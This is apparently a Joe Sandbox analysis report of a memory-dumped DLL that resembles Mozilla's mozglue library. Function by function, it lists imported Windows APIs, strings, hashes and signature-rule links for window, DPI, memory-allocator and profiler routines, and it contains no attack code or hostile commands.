GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C9C56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C9C56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C9C5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C9C572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C9C5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C9C5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C9C577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C9C5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C9C57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C9C57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C9C57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C9C57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C9C57FF

Strings

SetWindowPos, xrefs: 6C9C56F7
ReleaseDC, xrefs: 6C9C5742
CreateSolidBrush, xrefs: 6C9C57E4
RegisterClassW, xrefs: 6C9C56AC
GetDpiForWindow, xrefs: 6C9C5690
SetWindowLongPtrW, xrefs: 6C9C57B7
GetMonitorInfoW, xrefs: 6C9C57A2
ShowWindow, xrefs: 6C9C56DE
EnableNonClientDpiScaling, xrefs: 6C9C5666
MonitorFromWindow, xrefs: 6C9C578D
DeleteObject, xrefs: 6C9C57F9
GetSystemMetricsForDpi, xrefs: 6C9C5677
AreDpiAwarenessContextsEqual, xrefs: 6C9C5637
GetThreadDpiAwarenessContext, xrefs: 6C9C562D
GetWindowDC, xrefs: 6C9C5710
gdi32, xrefs: 6C9C560A
FillRect, xrefs: 6C9C5729
user32, xrefs: 6C9C5601
StretchDIBits, xrefs: 6C9C57CC
LoadIconW, xrefs: 6C9C575B
LoadCursorW, xrefs: 6C9C5774
CreateWindowExW, xrefs: 6C9C56C5

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: c478249c45f030af10dafa819abf94b017a23ed3ca62e2946fc572ccdccdfe5e
Instruction ID: 707d817e7f495cb259b708155250f66a34ec8c2642faa626c07694ccf5b52fe6
Opcode Fuzzy Hash: c478249c45f030af10dafa819abf94b017a23ed3ca62e2946fc572ccdccdfe5e
Instruction Fuzzy Hash: 99514370709702ABDF415F359D4493B3ABCAF7E249730846AA921E2A56EF70D800DF66

Function 6C9C34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3EE2

Part of subcall function 6C9C6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C9C61DD
Part of subcall function 6C9C6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C9C622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C4157

Part of subcall function 6C9C6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C9C6250
Part of subcall function 6C9C6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9C6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9C484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9C4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9C4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9C4896
free.MOZGLUE ref: 6C9C489F

Strings

, xrefs: 6C9C4CD2

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 712e78fc0cf5bccd93dcf7e65081610fa6e6aeb93cf5f0a14cbf66aa0cc4a44e
Instruction ID: 016b069f170d1614d8ec4d2ff502f8c55f6f1cac5bc5c2f067cdeb52b3adcac6
Opcode Fuzzy Hash: 712e78fc0cf5bccd93dcf7e65081610fa6e6aeb93cf5f0a14cbf66aa0cc4a44e
Instruction Fuzzy Hash: 9CF23C74A08B808FC761CF28C0846AAFBF1BF99358F118A5ED99997711DB31E495CF42

Function 6C9764C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C9764DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C9764F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C976505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C976518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C97652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C97671C
GetCurrentProcess.KERNEL32 ref: 6C976724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C97672F
GetCurrentProcess.KERNEL32 ref: 6C976759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C976764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C976A80
GetSystemInfo.KERNEL32(?), ref: 6C976ABE
__Init_thread_footer.LIBCMT ref: 6C976AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C976AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C976AF7

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C976798
_etoured.dll, xrefs: 6C9764ED
detoured.dll, xrefs: 6C9764DA
nvd3d9wrap.dll, xrefs: 6C976500
user32.dll, xrefs: 6C976526
nvdxgiwrap.dll, xrefs: 6C976513

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 32585ff918b024c8ace0db0fb7522ad03384dc46ac55d275918891e78fabf0f0
Instruction ID: 1ebd9c1e596bd8157fed98672f2662e48bfa4f8c25f513cffeb9bf39d02dfa4f
Opcode Fuzzy Hash: 32585ff918b024c8ace0db0fb7522ad03384dc46ac55d275918891e78fabf0f0
Instruction Fuzzy Hash: B2F1B1709062199FDF30CF64CC48B9AB7B9AF5A318F1442D9D859A7641E731EE84CFA0

Function 6C9960A0 Relevance: 50.1, APIs: 22, Strings: 6, Instructions: 1142COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9EE7DC), ref: 6C9960C9
LeaveCriticalSection.KERNEL32(6C9EE7DC), ref: 6C99610D
EnterCriticalSection.KERNEL32(?), ref: 6C99618C
LeaveCriticalSection.KERNEL32(?), ref: 6C9961F9

Strings

<jemalloc>, xrefs: 6C996AA9, 6C996B59
MALLOC_OPTIONS, xrefs: 6C996888
Compile-time page size does not divide the runtime one., xrefs: 6C996AAE
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C996BC7, 6C996F97, 6C996FB2
MOZ_CRASH(), xrefs: 6C996AB8
: (malloc) Unsupported character in malloc options: ', xrefs: 6C996B6A

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3168844106-429003945
Opcode ID: 5f75f4d167f9bfc6bf7e63d5cd48666383c74c2262f03865b7a26fcead0bb717
Instruction ID: 2f998ff6f4689630e24fb63a5a4fa87ec09506a72b39c6ea02835af5830c453f
Opcode Fuzzy Hash: 5f75f4d167f9bfc6bf7e63d5cd48666383c74c2262f03865b7a26fcead0bb717
Instruction Fuzzy Hash: 6BA2AA71A097018FD748CF29C450615BBE5BF9A728F2DC66DE86A8BB91D731E840CBC1

Function 6C9CC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9CC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9CC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C9CC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C9CC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C9CC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9CCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9CCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9CDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C9CDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C9CDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9CDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9CDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C9CE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9CE432
memcpy.VCRUNTIME140(?,?,?), ref: 6C9CE472

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 2c216d3f853127872e498182a52b53461f5855394c01305c43767d95ea88e07b
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 4433AF72E4021ACFCB04CF98C8806ADBBF2FF49310F298269D955AB755D731E945CB92

Function 6C97FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9EE7B8), ref: 6C97FF81
LeaveCriticalSection.KERNEL32(6C9EE7B8), ref: 6C98022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C980240
EnterCriticalSection.KERNEL32(6C9EE768), ref: 6C98025B
LeaveCriticalSection.KERNEL32(6C9EE768), ref: 6C98027B

Strings

<jemalloc>, xrefs: 6C980D62, 6C980D76, 6C980DA7
: (malloc) Error in VirtualFree(), xrefs: 6C980D67, 6C980D7B, 6C980DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C97FE99, 6C97FEB7, 6C97FED3, 6C980DB8, 6C980DD3, 6C9819B4

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: bff5209f1f24d3b837af5885179f1916c71004dfaee46b9b21892dd2c0d8a24c
Instruction ID: 7b221d8877f1e3165e6fe206dcba36c739388148f35621d083aa014edaa9518b
Opcode Fuzzy Hash: bff5209f1f24d3b837af5885179f1916c71004dfaee46b9b21892dd2c0d8a24c
Instruction Fuzzy Hash: 2BC2C371A077418FD714CF28C880716BBE5BF8A728F28CA6DE4698B795D771E841CB81

Function 6C9CE680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C9CE811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9CEAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9CEBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9CEEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9CF223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C9CF322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9D0E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C9D0E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C9D0EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C9D0ED4

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 8b80cfa7d9a3fd4bd3f8c8bd01c264476a501494412d1b614835f72794a4b636
Instruction ID: d58e5d8ab9321ed7b52198520c31a87bd4fa81117fa56b46f4c3302579944af9
Opcode Fuzzy Hash: 8b80cfa7d9a3fd4bd3f8c8bd01c264476a501494412d1b614835f72794a4b636
Instruction Fuzzy Hash: F1639C71E0065A8FCB04CFA8C8806EDFBB2FF89314F298269D855BB755D730A945CB91

Function 6C9A3E50 Relevance: 27.0, APIs: 13, Strings: 2, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C9C7770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C9A3E7D,?,?,?,6C9A3E7D,?,?), ref: 6C9C777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C9A3F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C9A3F5C
VerSetConditionMask.NTDLL ref: 6C9A3F8D
VerSetConditionMask.NTDLL ref: 6C9A3F99
VerSetConditionMask.NTDLL ref: 6C9A3FA0
VerSetConditionMask.NTDLL ref: 6C9A3FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C9A3FB4

Strings

nvd3d9wrap.dll, xrefs: 6C9A4466
nvinit.dll, xrefs: 6C9A4479

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-2380496106
Opcode ID: 8e79294dc9d8b2558f488515e618c23241d44965d72f6e8b44dc368ea57dde05
Instruction ID: d9db2e05ad89c020ab18ab052545c808f936786bbbaa743fce39077269253844
Opcode Fuzzy Hash: 8e79294dc9d8b2558f488515e618c23241d44965d72f6e8b44dc368ea57dde05
Instruction Fuzzy Hash: 3B52F472611B848FD714DF74C880AAB77F9AF65208F14096DE5938BB42DB34F90ACB60

Function 6C98ED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C98EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C98EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C991695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9916B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C991770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C991A3E

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: 3a230924aab56fe7e041dfcb756e7988bdbb574b1a2e7d3a76833217185b93d3
Instruction ID: 58ac3c185a0790939abd79b3fb5da30e328770ff658ae87762a03b7effe701cf
Opcode Fuzzy Hash: 3a230924aab56fe7e041dfcb756e7988bdbb574b1a2e7d3a76833217185b93d3
Instruction Fuzzy Hash: BAB32A71E0121ACFDB14CFA8C890AADB7B6FF49304F1981A9D459AB745D730AD86CF90

Function 6C97FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9EE7B8), ref: 6C97FF81
LeaveCriticalSection.KERNEL32(6C9EE7B8), ref: 6C98022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C980240
EnterCriticalSection.KERNEL32(6C9EE768), ref: 6C98025B
LeaveCriticalSection.KERNEL32(6C9EE768), ref: 6C98027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C97FE99, 6C97FEB7, 6C97FED3, 6C980DB8, 6C980DD3, 6C9819B4, 6C981A10
MOZ_CRASH(), xrefs: 6C980CA7

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 8a685fee2c6a52d96f566c0bf1474ab2dac4b71d41e488a4b2facc62eba4fe64
Instruction ID: 7b8b8aaa097177d335eda028bfdcb606fb1684260865f104bf49e10d568d51a4
Opcode Fuzzy Hash: 8a685fee2c6a52d96f566c0bf1474ab2dac4b71d41e488a4b2facc62eba4fe64
Instruction Fuzzy Hash: 07B2C0716067418FD718CF29C590716BBE1BF8A328F28CA6DE96A8FB95C771D840CB40

Function 6C9B5600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

ProfileBuffer parse error: %s, xrefs: 6C9B5AC8, 6C9B5CBB
expected a Time entry, xrefs: 6C9B5CB6
schema, xrefs: 6C9B606D
data, xrefs: 6C9B6131
name, xrefs: 6C9B5E79, 6C9B5E8F
expected a Count entry, xrefs: 6C9B5AC3

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: afa7780501a7864f5fdb5ed10959dd1737c1a39a329c80efeab0de8a0c9a14c5
Instruction ID: 7d003f8660a84b44d0618586ceae1dcae65d3a5396797a5e5eca18861ed5dbdd
Opcode Fuzzy Hash: afa7780501a7864f5fdb5ed10959dd1737c1a39a329c80efeab0de8a0c9a14c5
Instruction Fuzzy Hash: C8926BB1A087419FD724CF28C49079BBBE1BFD9308F15891DE599AB751DB30E809CB92

Function 6C9B2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C9B2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9B2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C9B2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9B3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C9B3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9B36BF

Strings

set , xrefs: 6C9B36EC
MOZ_PROFILER_SYMBOLICATE, xrefs: 6C9B378D
get , xrefs: 6C9B3205

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 6bef3960a6bdda05fa4be7ef232fcfb35d24026afe602b5e218839815039843a
Instruction ID: d3226749d973220bd2d666b4a62b7fcccb49fc895fbf21b895538a076093b23b
Opcode Fuzzy Hash: 6bef3960a6bdda05fa4be7ef232fcfb35d24026afe602b5e218839815039843a
Instruction Fuzzy Hash: DB328EB0208781AFD324CF24C48069FB7E6BFD9318F54891DE599A7751DB30E94ACB52

Function 6C9A7E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

(pre-xul), xrefs: 6C9A7E88
schema, xrefs: 6C9A81E3, 6C9A8311
data, xrefs: 6C9A8280, 6C9A83E1
name, xrefs: 6C9A7ECF, 6C9A8335

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: b416df43dd5ed532af6929753798ad700afc173e49fda19df7f253ed700febce
Instruction ID: 9d68f13aa6c3d4749f26215d8680c3b0c914c1e435646556d352cf76d0483218
